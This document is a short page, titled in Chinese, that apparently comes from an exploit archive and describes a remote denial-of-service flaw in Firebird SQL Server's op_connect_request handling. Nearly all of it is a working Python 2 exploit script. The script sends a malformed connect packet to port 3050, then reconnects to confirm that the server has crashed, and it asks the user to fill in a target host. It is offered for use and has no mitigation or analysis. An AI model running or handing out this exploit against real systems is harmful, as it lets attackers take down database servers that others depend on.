Firebird 'op_connect_request'远程拒绝服务漏洞

import socket import time def attack(host, port): op_connect_request = '\x35' # Request to establish connection packet = '\x00\x00\x00' + op_connect_request packet += "A" * 12 #Invalid data, must be >= 12 bytes in order to trigger the DoS print "(+) Connecting to the server...." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print "(+) Sending op_connect_request packet..." s.send(str(packet)) s.close() print "(+) op_connect_request packet successfully sent." #Wait 10 seconds and try to connect again to Firebird SQL server, to check if it's down print "(+) Waiting 10 seconds before trying to reconnect to the server..." time.sleep(10) try: print "(+) Trying to reconnect..." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.close() print "(!) Something went wrong. The server is still alive." except socket.error: print "(*) Attack successful. The server is down." port = 3050 host = '192.168.131.128' #Replace with your target host attack(host, port)